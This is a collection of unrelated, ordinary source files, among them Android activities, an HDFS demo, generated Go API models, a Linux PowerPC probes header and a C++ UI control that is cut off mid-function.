PromptsActivityViewModel viewModel; private ActivityDependencyProvider activityDependencyProvider; private ArrayAdapter adapter; private ListView listView; private DinnerListItem nonOfThisListItem; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_prompts); setupActionBar(); if (savedInstanceState != null) viewModel = (PromptsActivityViewModel) savedInstanceState.getSerializable(PROMPTS_LIST_VIEW_MODEL); else viewModel = (PromptsActivityViewModel)getIntent().getSerializableExtra("VIEW_MODEL"); listView = (ListView) findViewById(R.id.prompts_list); List<DinnerListItem> prompts = viewModel.prompts; nonOfThisListItem = new DinnerListItem(); nonOfThisListItem.id = -1L; nonOfThisListItem.name = getResources().getString(R.string.non_of_this); prompts.add(nonOfThisListItem); adapter = new DinnerListItemArrayAdapter(this, prompts); listView.setAdapter(adapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { DinnerListItem item = (DinnerListItem)listView.getItemAtPosition(position); if (item == nonOfThisListItem) activityDependencyProvider.getGeneratePromptsController().Run(getDenyRequestData()); else activityDependencyProvider.getDinnerChosenController().Run(item.id, item.name); } }); registerForContextMenu(listView); activityDependencyProvider.getEventBusProvider().get().register(this); } @Subscribe public void onDinnerDeleteMessage(DinnerDeletedMessage event) { DinnerListItem dinner = null; for (DinnerListItem d : viewModel.prompts) if (d.id.equals(event.getId())) dinner = d; if (dinner != null) viewModel.prompts.remove(dinner); adapter.notifyDataSetChanged(); } @Subscribe public void onDinnerUpdatedMessage(DinnerUpdatedMessage event) { boolean updated = false; for (DinnerListItem dinner : viewModel.prompts) { if (dinner.id.equals(event.getId())) { dinner.id = event.getId(); dinner.name = event.getName(); updated = true; } } if (updated) adapter.notifyDataSetChanged(); } @Override protected void onDestroy() { super.onDestroy(); activityDependencyProvider.getEventBusProvider().get().unregister(this); } @NonNull private GeneratePromptsRequestData getDenyRequestData() { GeneratePromptsRequestData rd = new GeneratePromptsRequestData(); rd.soup_profile = viewModel.getSoupProfile(); rd.vegetarian_profile = viewModel.getVegetarianProfile(); rd.maximum_duration = viewModel.getMaximumDuration(); Long[] oldExcludes = viewModel.getExcludes(); List<DinnerListItem> prompts = viewModel.prompts; int oldExcludesLength = oldExcludes!= null ? oldExcludes.length : 0; int promptsSize = prompts != null ? prompts.size() : 0; if (oldExcludesLength + promptsSize > 0) { Long[] excludes = new Long[oldExcludesLength + promptsSize]; Integer index = 0; if (oldExcludes != null) { for (Long id: oldExcludes) { excludes[index++] = id; } } if (prompts != null) { for (DinnerListItem dli: prompts) { excludes[index++] = dli.id; } } rd.excludes = excludes; } return rd; } /** * Set up the {@link android.app.ActionBar}, if the API is available. */ private void setupActionBar() { ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { // Show the Up button in the action bar. actionBar.setDisplayHomeAsUpEnabled(true); } } @Override public boolean onOptionsItemSelected(MenuItem item) { int id = item.getItemId(); if (id == android.R.id.home) { finish(); return true; } return super.onOptionsItemSelected(item); } @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, v, menuInfo); if (v.getId()==R.id.prompts_list) { AdapterView.AdapterContextMenuInfo info = (AdapterView.AdapterContextMenuInfo)menuInfo; DinnerListItem dinnerListItem = (DinnerListItem)listView.getItemAtPosition(info.position); if (dinnerListItem != nonOfThisListItem) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.dinner_list_item_menu, menu); } } } @Override public boolean onContextItemSelected(MenuItem item) { AdapterView.AdapterContextMenuInfo info = (AdapterView.AdapterContextMenuInfo) item.getMenuInfo(); DinnerListItem dinnerListItem = (DinnerListItem)listView.getItemAtPosition(info.position); switch(item.getItemId()) { case R.id.dinner_list_item_menu_edit: activityDependencyProvider.getEditDinnerController().Run(dinnerListItem.id); return true; case R.id.dinner_list_item_menu_delete: activityDependencyProvider.getDeleteDinnerController().Run(dinnerListItem.id); return true; default: return super.onContextItemSelected(item); } } @Override protected void onSaveInstanceState(Bundle outState) { outState.putSerializable(PROMPTS_LIST_VIEW_MODEL, viewModel); super.onSaveInstanceState(outState); } @Override public void Set(ActivityDependencyProvider item) { activityDependencyProvider = item; } }
Kuangcp/JavaBase
hadoop/src/main/java/com/github/kuangcp/hdfs/hi/GeneralFileActionDemo.java
<reponame>Kuangcp/JavaBase package com.github.kuangcp.hdfs.hi; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.net.URI; import java.nio.charset.StandardCharsets; import java.util.Arrays; import java.util.List; import java.util.concurrent.TimeUnit; import java.util.stream.Collectors; import lombok.extern.slf4j.Slf4j; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FSDataInputStream; import org.apache.hadoop.fs.FSDataOutputStream; import org.apache.hadoop.fs.FileStatus; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; /** * @author https://github.com/kuangcp * @date 2019-05-20 11:15 */ @Slf4j public class GeneralFileActionDemo { public static boolean createDirectory(String url) throws IOException { FileSystem fileSystem = FileSystem.get(getConfig(url)); boolean result = fileSystem.mkdirs(new Path(url)); log.info("result={}", result); return result; } public static void createNewFile(String url, String content) throws IOException, InterruptedException { FileSystem fs = FileSystem.get(getConfig(url)); FSDataOutputStream os = fs.create(new Path(URI.create(url).getPath())); os.write(content.getBytes(StandardCharsets.UTF_8)); os.flush(); TimeUnit.SECONDS.sleep(4); os.close(); fs.close(); } public static List<String> listFiles(String url) throws IOException { FileSystem fs = FileSystem.get(URI.create(url), getConfig(url)); Path path = new Path(url); FileStatus[] status = fs.listStatus(path); return Arrays.stream(status).map(v -> v.getPath().toString()).collect(Collectors.toList()); //方法1 // for (FileStatus f : status) { // log.info(f.getPath().toString()); // } //方法2 // Path[] listedPaths = FileUtil.stat2Paths(status); // for (Path p : listedPaths) { // System.out.println(p.toString()); // } } public static boolean deleteByURL(String url) throws IOException { FileSystem fs = FileSystem.get(getConfig(url)); Path path = new Path(url); boolean isDeleted = fs.deleteOnExit(path); fs.close(); return isDeleted; } public static void writeFileToHDFS() throws IOException { Configuration configuration = new Configuration(); configuration.set("fs.defaultFS", "hdfs://localhost:9000"); FileSystem fileSystem = FileSystem.get(configuration); //Create a path String fileName = "read_write_hdfs_example.txt"; Path hdfsWritePath = new Path("/user/javadeveloperzone/javareadwriteexample/" + fileName); FSDataOutputStream fsDataOutputStream = fileSystem.create(hdfsWritePath, true); BufferedWriter bufferedWriter = new BufferedWriter( new OutputStreamWriter(fsDataOutputStream, StandardCharsets.UTF_8)); bufferedWriter.write("Java API to write data in HDFS"); bufferedWriter.newLine(); bufferedWriter.close(); fileSystem.close(); } /** * read the hdfs file content * * notice that the url is the full path name */ public static void readHDFSFile(String url) throws Exception { FileSystem fs = FileSystem.get(getConfig(url)); Path path = new Path(url); // check if the file exists if (!fs.exists(path)) { throw new Exception("the file is not found ."); } FSDataInputStream is = fs.open(path); // read line by line BufferedReader bufferedReader = new BufferedReader( new InputStreamReader(is, StandardCharsets.UTF_8)); String line; while ((line = bufferedReader.readLine()) != null) { System.out.println(line); } // read as byte[] // FileStatus stat = fs.getFileStatus(path); // byte[] buffer = new byte[Integer.parseInt(String.valueOf(stat.getLen()))]; // is.readFully(0, buffer); is.close(); fs.close(); } private static Configuration getConfig(String url) { Configuration config = new Configuration(); config.set("fs.defaultFS", getHost(url)); return config; } private static String getHost(String url) { URI uri = URI.create(url); return uri.getScheme() + "://" + uri.getHost() + ":" + uri.getPort(); } }
dvoros/cb-cli
dataplane/api/model/datalake_prerequisite_v4_request.go
<filename>dataplane/api/model/datalake_prerequisite_v4_request.go<gh_stars>0 // Code generated by go-swagger; DO NOT EDIT. package model // This file was generated by the swagger tool. // Editing this file might prove futile when you re-run the swagger generate command import ( "strconv" strfmt "github.com/go-openapi/strfmt" "github.com/go-openapi/errors" "github.com/go-openapi/swag" "github.com/go-openapi/validate" ) // DatalakePrerequisiteV4Request datalake prerequisite v4 request // swagger:model DatalakePrerequisiteV4Request type DatalakePrerequisiteV4Request struct { // RDS config request // Required: true // Unique: true Databases []*DatabaseV4Request `json:"databases"` // Kerberos config request // Required: true Kerberos *KerberosV4Request `json:"kerberos"` // LDAP config request // Required: true Ldap *LdapV4Request `json:"ldap"` } // Validate validates this datalake prerequisite v4 request func (m *DatalakePrerequisiteV4Request) Validate(formats strfmt.Registry) error { var res []error if err := m.validateDatabases(formats); err != nil { res = append(res, err) } if err := m.validateKerberos(formats); err != nil { res = append(res, err) } if err := m.validateLdap(formats); err != nil { res = append(res, err) } if len(res) > 0 { return errors.CompositeValidationError(res...) } return nil } func (m *DatalakePrerequisiteV4Request) validateDatabases(formats strfmt.Registry) error { if err := validate.Required("databases", "body", m.Databases); err != nil { return err } if err := validate.UniqueItems("databases", "body", m.Databases); err != nil { return err } for i := 0; i < len(m.Databases); i++ { if swag.IsZero(m.Databases[i]) { // not required continue } if m.Databases[i] != nil { if err := m.Databases[i].Validate(formats); err != nil { if ve, ok := err.(*errors.Validation); ok { return ve.ValidateName("databases" + "." + strconv.Itoa(i)) } return err } } } return nil } func (m *DatalakePrerequisiteV4Request) validateKerberos(formats strfmt.Registry) error { if err := validate.Required("kerberos", "body", m.Kerberos); err != nil { return err } if m.Kerberos != nil { if err := m.Kerberos.Validate(formats); err != nil { if ve, ok := err.(*errors.Validation); ok { return ve.ValidateName("kerberos") } return err } } return nil } func (m *DatalakePrerequisiteV4Request) validateLdap(formats strfmt.Registry) error { if err := validate.Required("ldap", "body", m.Ldap); err != nil { return err } if m.Ldap != nil { if err := m.Ldap.Validate(formats); err != nil { if ve, ok := err.(*errors.Validation); ok { return ve.ValidateName("ldap") } return err } } return nil } // MarshalBinary interface implementation func (m *DatalakePrerequisiteV4Request) MarshalBinary() ([]byte, error) { if m == nil { return nil, nil } return swag.WriteJSON(m) } // UnmarshalBinary interface implementation func (m *DatalakePrerequisiteV4Request) UnmarshalBinary(b []byte) error { var res DatalakePrerequisiteV4Request if err := swag.ReadJSON(b, &res); err != nil { return err } *m = res return nil }
tanbinh123/microservice
eureka-client-admin/src/main/java/com/javaweb/web/service/DistrictService.java
package com.javaweb.web.service; import java.util.List; import com.javaweb.web.eo.roleRestrict.ProvinceCityDistrictResponse; import com.javaweb.web.eo.roleRestrict.RoleRestrictResponse; public interface DistrictService { List<ProvinceCityDistrictResponse> getDistrictList(String cityCode,RoleRestrictResponse roleRestrictResponse); boolean isExistBySelectCityAndDistrictCode(String cityCode,String districtCode); }
calheiros/super-box
app/src/main/java/com/jefferson/application/br/activity/VideoPlayerActivity.java
package com.jefferson.application.br.activity; import android.content.*; import android.content.pm.*; import android.media.*; import android.net.*; import android.os.*; import android.view.*; import android.widget.*; import com.jefferson.application.br.*; import java.io.*; import java.security.*; import java.util.*; import javax.crypto.*; import javax.crypto.spec.*; public class VideoPlayerActivity extends MyCompatActivity { private VideoView mVideoView; private Handler controllerHandler; private SeekBar mSeek; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_SENSOR); Window win = getWindow(); WindowManager.LayoutParams winParams = win.getAttributes(); int bits = WindowManager.LayoutParams.FLAG_FULLSCREEN; winParams.flags |= bits; win.setAttributes(winParams); setContentView(R.layout.view_video); mVideoView = (VideoView) findViewById(R.id.my_video_view); mSeek = (SeekBar) findViewById(R.id.video_progress); Intent i = getIntent(); int position = i.getExtras().getInt("position"); ArrayList<String> filepath = i.getStringArrayListExtra("filepath"); controllerHandler = new Handler(); File file = new File(filepath.get(position)); mVideoView.setVideoURI(Uri.parse(file.getAbsolutePath())); mVideoView.requestFocus(); mVideoView.setMediaController(new MediaController(this)); mVideoView.start(); mVideoView.setOnCompletionListener(new MediaPlayer.OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { finish(); } }); mVideoView.setOnErrorListener(new MediaPlayer.OnErrorListener(){ @Override public boolean onError(MediaPlayer p1, int p2, int p3) { return false; } }); } }
refatK/Mini-Capstone-Project
k9mail/src/main/java/com/fsck/k9/FollowUpNotificationsToSendNowService.java
package com.fsck.k9; import android.app.IntentService; import android.app.PendingIntent; import android.content.Intent; import android.support.v4.app.NotificationCompat; import android.support.v4.app.NotificationManagerCompat; import android.util.Log; import com.fsck.k9.activity.MessageReference; import com.fsck.k9.activity.compose.MessageActions; import com.fsck.k9.mail.Address; import com.fsck.k9.mail.Message; import com.fsck.k9.mail.MessagingException; import com.fsck.k9.mailstore.LocalMessage; import com.fsck.k9.mailstore.LocalStore; import com.fsck.k9.notification.NotificationIds; import java.util.ArrayList; import java.util.Calendar; import java.util.List; public class FollowUpNotificationsToSendNowService extends IntentService { private DaoSession daoSession; private List<FollowUpReminderEmail> allFollowUpReminders = new ArrayList(); private List<FollowUpReminderEmail> remindersToSendNow = new ArrayList(); public FollowUpNotificationsToSendNowService() { super("FollowUpNotificationsToSendNowService"); } @Override protected void onHandleIntent(Intent i) { daoSession = ((K9)getApplication()).getDaoSession(); allFollowUpReminders = daoSession.getFollowUpReminderEmailDao().loadAll(); for (FollowUpReminderEmail e : allFollowUpReminders) { long timeNow = Calendar.getInstance().getTimeInMillis(); if (e.getReminderDateTime() <= timeNow) { remindersToSendNow.add(e); } } if (!remindersToSendNow.isEmpty()) { sendReminders(remindersToSendNow); } else { stopSelf(); } } private String generatePushNotificationString(FollowUpReminderEmail email, Account account){ Long emailID = email.getEmailID(); Message message = null; String subject = ""; String recipientAddresses = ""; try { message = LocalStore.getInstance(account, getApplicationContext()).getLocalMessageByMessageId(emailID); } catch (MessagingException e) { e.printStackTrace(); } subject = message.getSubject(); Address[] recipients = message.getRecipients(Message.RecipientType.TO); for(Address a : recipients) { recipientAddresses += (a.getAddress()+", "); } recipientAddresses = recipientAddresses.substring(0, recipientAddresses.length()-2); return ("No reply has been received from "+ recipientAddresses + " about " + subject +" you might want to follow up with them"); } private void sendReminders(List<FollowUpReminderEmail> remindersToSendNow) { String notificationText; String accountID; Preferences prefs; Account account; NotificationCompat.Builder builder; NotificationManagerCompat notificationManager; int notificationId; //Loop to send each reminder in the remindersToSendNow list for (int i = 0; i < remindersToSendNow.size(); i++) { accountID = remindersToSendNow.get(i).getAccountID(); prefs = Preferences.getPreferences(getApplicationContext()); account = prefs.getAccount(accountID); notificationManager = NotificationManagerCompat.from(this); notificationId = NotificationIds.getFollowUpReminderNotificationId(account); notificationText = generatePushNotificationString(remindersToSendNow.get(i), account); PendingIntent pendingIntent = getIntentToFollowUp(remindersToSendNow.get(i), account, notificationId); //builder is used to forge to grab the parts of a Notification object builder = new NotificationCompat.Builder(this) .setSmallIcon(R.drawable.ic_notify_check_mail) .setContentTitle("Follow Up Reminder") .setContentText(notificationText) .setStyle(new NotificationCompat.BigTextStyle() .bigText(notificationText)) .setPriority(NotificationCompat.PRIORITY_DEFAULT) .setContentIntent(pendingIntent) .setAutoCancel(true); //builder.build() generates the Notification object itself, .notify displays it notificationManager.notify(notificationId, builder.build()); //Delete processed FollowUpReminderEmailDao entry daoSession.getFollowUpReminderEmailDao().delete(remindersToSendNow.get(i)); } remindersToSendNow.clear(); } private PendingIntent getIntentToFollowUp(FollowUpReminderEmail email, Account account, int notificationId) { LocalMessage message = null; try { message = account.getLocalStore().getLocalMessageByMessageId(email.getEmailID()); } catch (MessagingException e) { e.printStackTrace(); } MessageReference ref = message.makeMessageReference(); Intent intent = MessageActions.getActionForwardIntent(this, ref, null, true); return PendingIntent.getActivity(this, notificationId, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_ONE_SHOT); } }
ucsd-progsys/csolve-bak
tests/cpj/ckernels/unique_arr.c
//testing contextual types for object uniqueness #include <csolve.h> #include <stdlib.h> /* const int sz = 5; */ #define sz 5 typedef struct _obj obj; struct _obj { //int x; int FINAL REF(V >= 0) id; }; //int main(int argc, char ** argv) //{ // list * NNVALIDPTR * START ARRAY arr; // arr = malloc(sizeof(obj*) * sz); // // foreach(i in 0 to sz) // arr[i] = alloc_obj(i); // // foreach(i in 0 to sz) // arr[i] -> x = i; // // foreach(i in 0 to sz) // arr[i] -> x = -i; //} obj * // REF(VV != 0 && VV.id = i) alloc_obj(int REF(v >= 0) i) { obj* o = malloc(sizeof(obj)); o->id = i; //o->x = 1; return o; } void alloc_objs(obj * NNSTART NNVALIDPTR/* REF(VV != 0 => VV.id = vvind) */ * START ARRAY NONNULL arr) { // foreach(i in 0 to sz) // arr[i] = alloc_obj(i); for (int i = 0; i < sz; i++){ obj *o = alloc_obj(i); /* csolve_assert (o->id == i); */ csolve_assert (o->id >= 0); arr[i] = o; } } obj * NNSTART NNVALIDPTR/* REF(VV.id = vvind) */ * START ARRAY NONNULL alloc_arr() { obj **arr = malloc(sizeof(obj*) * sz); alloc_objs(arr); return arr; } int main(int argc, char ** argv) { obj ** arr = alloc_arr(); csolve_assert (arr != NULL); for (int j = 0; j < sz; j++) { obj * a = arr[j]; if (a != 0) { /* csolve_assert (arr[j]->id >= 0); */ csolve_assert(a->id >= 0); } //csolve_assert (arr[j]->x); } // foreach(i in 0 to sz) // arr[i] -> x = i; //arr[i] :: {v: ptr(l2) | vv.id = i} //l2: (0: int // foreach(i in 0 to sz) // arr[i] -> x = -i; return 0; }
isabelcosta/eui
src/components/button/button_toggle/index.js
<reponame>isabelcosta/eui<gh_stars>1-10 export { EuiButtonToggle } from './button_toggle';
ahoy-jon/dotty-cps-async
src/main/scala/cps/CpsMonad.scala
package cps import scala.quoted._ import scala.util.Try import scala.concurrent.duration._ trait CpsMonad[F[_]] { def pure[T](t:T):F[T] def map[A,B](fa:F[A])(f: A=>B):F[B] def flatMap[A,B](fa:F[A])(f: A=>F[B]):F[B] } trait CpsTryMonad[F[_]] extends CpsMonad[F] { def error[A](e: Throwable): F[A] def restore[A](fa: F[A])(fx:Throwable => F[A]): F[A] def withAction[A](fa:F[A])(action: =>Unit):F[A] = flatMap(fa){x => try{ action pure(x) }catch{ case ex: Throwable => error(ex) } } } trait CpsAsyncMonad[F[_]] extends CpsTryMonad[F] { /** * return a future, which will be completed after callback will-be * called by the source. **/ def adoptCallbackStyle[A](source: (Try[A]=>Unit) => Unit):F[A] def spawn[A](op: =>F[A]): F[A] def fulfill[T](t:F[T], timeout: Duration): Option[Try[T]] }
chigley/advent2021
day12/cave_system.go
package day12 import ( "fmt" "strings" ) type ( CaveSystem map[string]map[string]struct{} Caves map[string]struct{} ) func NewCaveSystem(in []string) (CaveSystem, error) { cs := make(CaveSystem) for _, l := range in { toks := strings.SplitN(l, "-", 2) if len(toks) != 2 { return nil, fmt.Errorf("day12: failed to parse %q", l) } // Initialise neighbour set if this is the first time we've seen either // cave for _, c := range toks { if _, ok := cs[c]; !ok { cs[c] = make(Caves) } } // Mark each cave as a neighbour of the other c1, c2 := toks[0], toks[1] cs[c1][c2] = struct{}{} cs[c2][c1] = struct{}{} } return cs, nil }
jainsakshi2395/linux
arch/powerpc/include/asm/probes.h
<filename>arch/powerpc/include/asm/probes.h /* SPDX-License-Identifier: GPL-2.0-or-later */ #ifndef _ASM_POWERPC_PROBES_H #define _ASM_POWERPC_PROBES_H #ifdef __KERNEL__ /* * Definitions common to probes files * * Copyright IBM Corporation, 2012 */ #include <linux/types.h> typedef u32 ppc_opcode_t; #define BREAKPOINT_INSTRUCTION 0x7fe00008 /* trap */ /* Trap definitions per ISA */ #define IS_TW(instr) (((instr) & 0xfc0007fe) == 0x7c000008) #define IS_TD(instr) (((instr) & 0xfc0007fe) == 0x7c000088) #define IS_TDI(instr) (((instr) & 0xfc000000) == 0x08000000) #define IS_TWI(instr) (((instr) & 0xfc000000) == 0x0c000000) #ifdef CONFIG_PPC64 #define is_trap(instr) (IS_TW(instr) || IS_TD(instr) || \ IS_TWI(instr) || IS_TDI(instr)) #else #define is_trap(instr) (IS_TW(instr) || IS_TWI(instr)) #endif /* CONFIG_PPC64 */ #ifdef CONFIG_PPC_ADV_DEBUG_REGS #define MSR_SINGLESTEP (MSR_DE) #else #define MSR_SINGLESTEP (MSR_SE) #endif /* Enable single stepping for the current task */ static inline void enable_single_step(struct pt_regs *regs) { regs_set_return_msr(regs, regs->msr | MSR_SINGLESTEP); #ifdef CONFIG_PPC_ADV_DEBUG_REGS /* * We turn off Critical Input Exception(CE) to ensure that the single * step will be for the instruction we have the probe on; if we don't, * it is possible we'd get the single step reported for CE. */ regs_set_return_msr(regs, regs->msr & ~MSR_CE); mtspr(SPRN_DBCR0, mfspr(SPRN_DBCR0) | DBCR0_IC | DBCR0_IDM); #ifdef CONFIG_PPC_47x isync(); #endif #endif } #endif /* __KERNEL__ */ #endif /* _ASM_POWERPC_PROBES_H */
KaloyanBorisov/amazon-ecs-local-container-endpoints
local-container-endpoints/handlers/functional_tests/test_helper.go
<reponame>KaloyanBorisov/amazon-ecs-local-container-endpoints // Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"). You may // not use this file except in compliance with the License. A copy of the // License is located at // // http://aws.amazon.com/apache2.0/ // // or in the "license" file accompanying this file. This file is distributed // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either // express or implied. See the License for the specific language governing // permissions and limitations under the License. // Package functionaltests includes tests that make http requests to the handlers using net/http/test package functionaltests import ( "math/rand" "github.com/docker/docker/api/types" ) func getMockStats() *types.Stats { return &types.Stats{ CPUStats: types.CPUStats{ SystemUsage: uint64(rand.Intn(10000)), }, } }
11Zero/DemoBCG
ToolKit/ReportControl/TrackControl/XTPTrackBlock.cpp
// XTPReportRecordTrack.cpp : implementation of the CXTPReportRecordTrackMod class. // // This file is a part of the XTREME REPORTCONTROL MFC class library. // (c)1998-2011 <NAME>, All Rights Reserved. // // THIS SOURCE FILE IS THE PROPERTY OF CODEJOCK SOFTWARE AND IS NOT TO BE // RE-DISTRIBUTED BY ANY MEANS WHATSOEVER WITHOUT THE EXPRESSED WRITTEN // CONSENT OF CODEJOCK SOFTWARE. // // THIS SOURCE CODE CAN ONLY BE USED UNDER THE TERMS AND CONDITIONS OUTLINED // IN THE XTREME TOOLKIT PRO LICENSE AGREEMENT. CODEJOCK SOFTWARE GRANTS TO // YOU (ONE SOFTWARE DEVELOPER) THE LIMITED RIGHT TO USE THIS SOFTWARE ON A // SINGLE COMPUTER. // // CONTACT INFORMATION: // <EMAIL> // http://www.codejock.com // ///////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include <math.h> #include "Common/XTPDrawHelpers.h" #include "Common/XTPPropExchange.h" #include "Common/XTPMarkupRender.h" #include "../XTPReportRecordItem.h" #include "../XTPReportControl.h" #include "../XTPReportColumn.h" #include "../XTPReportColumns.h" #include "../XTPReportPaintManager.h" #include "../XTPReportInplaceControls.h" #include "../XTPReportRow.h" #include "../XTPReportRecord.h" #include "../XTPReportRecordItem.h" #include "../XTPReportRecords.h" #include "../XTPReportColumn.h" #include "XTPTrackBlock.h" #include "XTPTrackControlItem.h" #include "XTPTrackControl.h" #include "XTPTrackPaintManager.h" #include "XTPTrackUndoManager.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif IMPLEMENT_SERIAL(CXTPTrackBlock, CCmdTarget, VERSIONABLE_SCHEMA | _XTP_SCHEMA_CURRENT) CXTPTrackBlock::CXTPTrackBlock() { m_nIndex = -1; m_nMRUPosition = m_nPosition = 0; m_nLength = 0; m_bLocked = FALSE; m_rcBlock.SetRectEmpty(); m_clrBlock = RGB(240, 158, 159); m_pItem = 0; m_nLastDragTime = 0; m_dHeightPercent = 1; m_nHeightFixed = 0; m_nVerticalAlignment = DT_VCENTER; m_nMinLength = 1; m_nMaxLength = 1000; m_bDragging = FALSE; #ifdef _XTP_ACTIVEX EnableAutomation(); EnableTypeLib(); #endif } void CXTPTrackBlock::SetPosition(int nPosition) { if (m_nMRUPosition == nPosition) return; if (m_pItem && m_pItem->GetTrackControl()) { m_pItem->GetTrackControl()->GetUndoManager()->AddUndoCommand(new CXTPTrackUndoSetBlockPositionCommand(this, m_nMRUPosition, m_nLength)); } m_nPosition = m_nMRUPosition = nPosition; if (m_pItem) m_pItem->RedrawControl(); } void CXTPTrackBlock::SetLength(int nLength) { if (m_nLength == nLength) return; if (m_pItem && m_pItem->GetTrackControl()) { m_pItem->GetTrackControl()->GetUndoManager()->AddUndoCommand(new CXTPTrackUndoSetBlockPositionCommand(this, m_nMRUPosition, m_nLength)); } m_nLength = nLength; if (m_pItem) m_pItem->RedrawControl(); } BOOL CXTPTrackBlock::IsLocked() const { return m_bLocked || m_pItem->m_bLocked; } int CXTPTrackBlock::Draw(CDC* pDC, CRect rc, BOOL bSelected) { BOOL bLocked = IsLocked(); int nHeight; if (m_nHeightFixed != 0) nHeight = m_nHeightFixed; else nHeight = int((rc.Height()) * m_dHeightPercent); if (nHeight != rc.Height()) { if (m_nVerticalAlignment == DT_TOP) { rc.bottom = rc.top + nHeight; } else if (m_nVerticalAlignment == DT_BOTTOM) { rc.top = rc.bottom - nHeight; } else { rc.top = (rc.top + rc.bottom - nHeight) / 2; rc.bottom = rc.top + nHeight; } } if (m_bLocked) bLocked = TRUE; CXTPTrackControl* pTrackControl = m_pItem->GetTrackControl(); rc.left = pTrackControl->PositionToTrack(m_nPosition); rc.right = pTrackControl->PositionToTrack(m_nPosition + m_nLength); COLORREF clrBackground = m_clrBlock; DWORD dwHSLBackground = CXTPDrawHelpers::RGBtoHSL(clrBackground); DWORD dwL = GetBValue(dwHSLBackground); DWORD dwLight = (dwL + 240) / 2; COLORREF clrLight = CXTPDrawHelpers::HSLtoRGB(RGB(GetRValue(dwHSLBackground), GetGValue(dwHSLBackground), dwLight)); DWORD dwDark = MulDiv(dwL, 2, 3); COLORREF clrDark = CXTPDrawHelpers::HSLtoRGB(RGB(GetRValue(dwHSLBackground), GetGValue(dwHSLBackground), dwDark)); if (bSelected && !bLocked) { XTPDrawHelpers()->GradientFill(pDC, rc, clrLight, clrDark, FALSE); } else { pDC->FillSolidRect(rc, m_clrBlock); } if (bLocked) { pDC->Draw3dRect(rc, GetXtremeColor(RGB(128,128,128)), GetXtremeColor(RGB(128,128,128))); } else if (bSelected) { pDC->Draw3dRect(rc, clrLight, clrLight); } else { pDC->Draw3dRect(rc, clrLight, clrDark); } if (!m_strCaption.IsEmpty()) { pDC->SetTextColor(bLocked ? RGB(128,128,128) : RGB(0, 0, 0)); CRect rcText(rc); rcText.DeflateRect(4, 0); XTPMarkupDrawText(m_pItem->GetTrackControl()->GetMarkupContext(), pDC->GetSafeHdc(), m_strCaption, rcText, DT_SINGLELINE | DT_VCENTER | DT_NOPREFIX); } m_rcBlock = rc; return 1; } void CXTPTrackBlock::Remove() { if (m_pItem) { m_pItem->Remove(this); } else { InternalRelease(); } } void CXTPTrackBlock::DoPropExchange(CXTPPropExchange* pPX) { PX_String(pPX, _T("ToolTip"), m_strToolTip, _T("")); PX_String(pPX, _T("DescriptionText"), m_strDescription, _T("")); PX_String(pPX, _T("Caption"), m_strCaption, _T("")); PX_Int(pPX, _T("Position"), m_nMRUPosition); PX_Int(pPX, _T("Length"), m_nLength, 0); PX_Bool(pPX, _T("Locked"), m_bLocked, FALSE); PX_DWord(pPX, _T("Color"), m_clrBlock); PX_Int(pPX, _T("VerticalAlignment"), m_nVerticalAlignment, DT_VCENTER); PX_Double(pPX, _T("HeightPercent"), m_dHeightPercent, 1.0); PX_Int(pPX, _T("LastDragTime"), m_nLastDragTime, 0); PX_Int(pPX, _T("MinLength"), m_nMinLength, 1); PX_Int(pPX, _T("MaxLength"), m_nMaxLength, 1000); } void CXTPTrackBlock::Select(BOOL bSelect /* = TRUE */) { CXTPTrackControl* pTrackControl = m_pItem->GetTrackControl(); if (!pTrackControl) return; if (bSelect) pTrackControl->GetSelectedBlocks()->Add(this); else pTrackControl->GetSelectedBlocks()->Remove(this); } BOOL CXTPTrackBlock::IsSelected() const { CXTPTrackControl* pTrackControl = m_pItem->GetTrackControl(); if (!pTrackControl) return FALSE; return pTrackControl->GetSelectedBlocks()->IsSelected(this); } ////////////////////////////////////////////////////////////////////////// // CXTPTrackKey IMPLEMENT_SERIAL(CXTPTrackKey, CXTPTrackBlock, VERSIONABLE_SCHEMA | _XTP_SCHEMA_CURRENT) CXTPTrackKey::CXTPTrackKey() { } int CXTPTrackKey::Draw(CDC* pDC, CRect rc, BOOL bSelected) { CXTPTrackControl* pTrackControl = m_pItem->GetTrackControl(); rc.left = pTrackControl->PositionToTrack(m_nPosition) - 4; rc.right = rc.left + 8; int X = (rc.left + rc.right) / 2; int Y = rc.CenterPoint().y; if (m_nVerticalAlignment == DT_TOP) Y = rc.top + 4; if (m_nVerticalAlignment == DT_BOTTOM) Y = rc.bottom - 6; rc.top = Y - 4; rc.bottom = Y + 4; COLORREF clrBackground = m_clrBlock; DWORD dwHSLBackground = CXTPDrawHelpers::RGBtoHSL(clrBackground); DWORD dwL = GetBValue(dwHSLBackground); DWORD dwLight = (dwL + 240) / 2; COLORREF clrLight = CXTPDrawHelpers::HSLtoRGB(RGB(GetRValue(dwHSLBackground), GetGValue(dwHSLBackground), dwLight)); DWORD dwDark = MulDiv(dwL, 2, 3); COLORREF clrDark = CXTPDrawHelpers::HSLtoRGB(RGB(GetRValue(dwHSLBackground), GetGValue(dwHSLBackground), dwDark)); COLORREF clrDarkDark = RGB(GetRValue(clrDark) / 2, GetGValue(clrDark) / 2, GetBValue(clrDark) / 2); CXTPPenDC pen (*pDC, IsLocked() ? RGB(128,128,128) : bSelected ? clrLight : clrDarkDark); CXTPBrushDC brush (*pDC, m_clrBlock); CPoint 